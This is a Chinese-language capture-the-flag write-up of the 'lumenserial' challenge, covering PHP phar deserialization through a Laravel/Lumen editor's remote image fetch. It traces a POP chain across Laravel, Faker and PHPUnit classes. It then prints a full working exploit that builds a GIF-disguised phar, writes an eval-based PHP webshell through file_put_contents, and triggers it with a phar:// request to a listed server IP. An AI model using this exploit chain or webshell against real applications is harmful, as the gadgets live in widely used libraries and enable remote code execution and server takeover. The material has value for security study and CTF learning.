从lumenserial中学phar反序列化漏洞

Code-breaking 中有一道考察phar反序列化漏洞的medium题目——lumenserial,POP链很深,很值得学习。

1. 分析过程

1.1 前期准备

线上环境中,PHP版本为7.2.15,这意味着不能动态调用assert函数。

还禁用了不少系统函数。

1
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log

拿到源码后,先看一下routes/web.php

1
2
3
$router->get('/server/editor', 'EditorController@main');

$router->post('/server/editor', 'EditorController@main');

EditorController应该是个关键点,看一下app/Http/Controllers/EditorController.php

在类EditorController中有一个doCatchimage()方法,实现了一个远程捕获图片的功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
class EditorController extends Controller
{
//省略部分代码......

protected function doCatchimage(Request $request)
{
$sources = $request->input($this->config['catcherFieldName']);
$rets = [];

if ($sources) {
foreach ($sources as $url) {
$rets[] = $this->download($url);
}
}

return response()->json([
'state' => 'SUCCESS',
'list' => $rets
]);
}

//省略部分代码......

private function download($url)
{
$maxSize = $this->config['catcherMaxSize'];
$limitExtension = array_map(function ($ext) {
return ltrim($ext, '.');
}, $this->config['catcherAllowFiles']);
$allowTypes = array_map(function ($ext) {
return "image/{$ext}";
}, $limitExtension);

$content = file_get_contents($url);
$img = getimagesizefromstring($content);

//省略部分代码......
}
}

可以看到,doCatchimage()传入了一个Request $request,然后从中获取$url参数,在没有经过任何处理的情况下传入download()方法中,而且网站本身就是一个富文本编辑器,有上传图片的功能,这样我们可以在$content = file_get_contents($url);处来进行phar反序列化。

由于版本和配置限制,我们最终的目标,应该构造类似call_user_func_array('file_put_contents', [])来写马。

1.2 POP链构造

phar反序列化的其他条件都满足了,重点就在POP链的构造上。

phpggc中。Laravel的一些RCE都是从Illuminate\Broadcasting\PendingBroadcast::__destruct走的,我们也可以以此为出发点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class PendingBroadcast
{
protected $events;
protected $event;

public function __construct(Dispatcher $events, $event)
{
$this->event = $event;
$this->events = $events;
}

//省略部分代码......

public function __destruct()
{
$this->events->dispatch($this->event);
}
}

在这里Dispatcher是一个接口,因此$events是继承了该接口的类。

1

只有这两个类继承了Dispatcher,而且它们的dispatch()方法都难以利用。

只能换个方向,去寻找存在__call()魔术方法的类。

__call() 在对象中调用一个不可访问方法时调用。
该方法有两个参数,第一个参数 $function_name 会自动接收不存在的方法名,第二个 $arguments 则以数组的方式接收不存在方法的多个参数。

2

vendor/fzaninotto/faker/src/Faker/ValidGenerator.php第52行。

1
2
3
4
5
6
7
8
9
10
11
12
13
public function __call($name, $arguments)
{
$i = 0;
do {
$res = call_user_func_array(array($this->generator, $name), $arguments);
$i++;
if ($i > $this->maxRetries) {
throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
}
} while (!call_user_func($this->validator, $res));

return $res;
}

这个类应该满足条件,继续往下分析。

若是调用类ValidGenerator__call()方法,$name的值是dispatch,传入的$arguments是一个数组。

1
$res = call_user_func_array(array($this->generator, $name), $arguments);

继续往下分析,看看能不能完全控制call_user_func_array()的参数,目标是控制$res的值,从而在下面while处完成调用。

1
while (!call_user_func($this->validator, $res));

ValidGenerator类的构造函数中,传入了Generator类的实例。

vendor/fzaninotto/faker/src/Faker/Generator.php

因为Generator中没有dispatch方法,所以会调用它的__call()方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);

return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

在这里,在Generator类中嵌套调用Generator类,实现返回任意类的功能。

1
2
3
4
5
6
7
$g2->formatters = array('mengchen' => $evalobj);
$g1->formatters = array(
"dispatch" => array(
$g2,
"getFormatter",
)
);

当在$g1中调用dispatch('可控值')时,由于类中不存在该方法,则调用__call()

假设执行的代码为$g1->dispatch('mengchen');

则传给__call($method, $attributes),传入的参数$method='dispatch'$attributes = ['mengchen']

然后进入format($formatter, $arguments = array()),此时,传入的参数$formatter='dispatch'$arguments=['mengchen']

接下来,在函数call_user_func_array()中,$this->getFormatter($formatter),就是$g1->getFormatter('dispatch') === [$g2, "getFormatter"]

也就是执行函数call_user_func_array([​$g2, "getFormatter"], ['mengchen'])

也就调用了$g2->getFormatter('mengchen') === $evalobj

这样就实现了返回任意一个类。

此时$res == $evalobj

到此while (!call_user_func($this->validator, $res));中的$res我们完全可控了,接下来看$this->validator

在这里找了一个类来做跳板。

vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnCallback.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class ReturnCallback implements Stub
{
private $callback;

public function __construct($callback)
{
$this->callback = $callback;
}

public function invoke(Invocation $invocation)
{
return \call_user_func_array($this->callback, $invocation->getParameters());
}
//省略部分代码......
}

在函数invoke()中,call_user_func_array()的两个参数都是反序列化可控的。Invocation是一个接口,找一下getParameters()的实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class StaticInvocation implements Invocation, SelfDescribing
{
//省略部分代码......

private $parameters;

//省略部分代码......

public function getParameters(): array
{
return $this->parameters;
}
//省略部分代码......
}

call_user_func_array()的两个参数我们都能控制了,然后在ValidGenerator类的while (!call_user_func($this->validator, $res));中完成调用即可。

到此完成整个POP链。

1.3 攻击思路

$this->validator == [$ReturnCallbackobj, 'invoke'],这样$this->validator就成了invoke()方法,然后call_user_func()调用invoke()方法,invoke()调用call_user_func_array(),因为call_user_func_array()的两参数可控,这样就能getshell了。

2. Exp

由上面的分析过程,可以构造最终Exp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
namespace Illuminate\Broadcasting{
class PendingBroadcast{
function __construct(){
$this->events = new \Faker\ValidGenerator();
$this->event = 'mengchen';
}
}
}

namespace Faker{
class ValidGenerator{
function __construct(){
$si = new \PHPUnit\Framework\MockObject\Invocation\StaticInvocation();
$g1 = new \Faker\Generator(array('mengchen' => $si ));
$g2 = new \Faker\Generator(array("dispatch" => array($g1, "getFormatter")));

$rc = new \PHPUnit\Framework\MockObject\Stub\ReturnCallback();

$this->validator = array($rc, "invoke");
$this->generator = $g2;
$this->maxRetries = 23333;
}
}

class Generator{
function __construct($form){
$this->formatters = $form;
}
}

}
namespace PHPUnit\Framework\MockObject\Invocation{
class StaticInvocation{
function __construct(){
$this->parameters = array('/var/www/html/upload/shell.php','<?php phpinfo();eval($_POST["cmd"]);?>');
}
}
}

namespace PHPUnit\Framework\MockObject\Stub{
class ReturnCallback{
function __construct(){
$this->callback = 'file_put_contents';
}
}
}


namespace{
$exp = new Illuminate\Broadcasting\PendingBroadcast();
print_r(urlencode(serialize($exp)));

// phar
$p = new Phar('./meng.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');//设置stub,增加gif文件头
$p->setMetadata($exp); //将自定义meta-data存入manifest
$p->addFromString('test.txt','test');//添加要压缩的文件
$p->stopBuffering();
}

3. 利用过程

在本地跑一下exp,然后将生成的phar文件改一个后缀名,直接上传即可,在返回的json数据中有上传图片的路径。

3

然后直接访问

1
http://139.199.31.158:8080/server/editor?action=Catchimage&source[]=phar:///var/www/html/upload/image/415c92e8be7c68409ca6bd369d87482f/201902/26/e1ae6f3f0833e9fd73f6.gif

触发反序列化,在服务器上写马。

4

然后getflag

5

4. References

https://paper.seebug.org/680/

http://www.kingkk.com/2018/11/Code-Breaking-Puzzles-题解-学习篇/

http://hpdoger.me/2019/01/09/Code-breaking-medium%E4%B9%8Blumenserial/

https://www.cnblogs.com/iamstudy/articles/code_breaking_lumenserial_writeup.html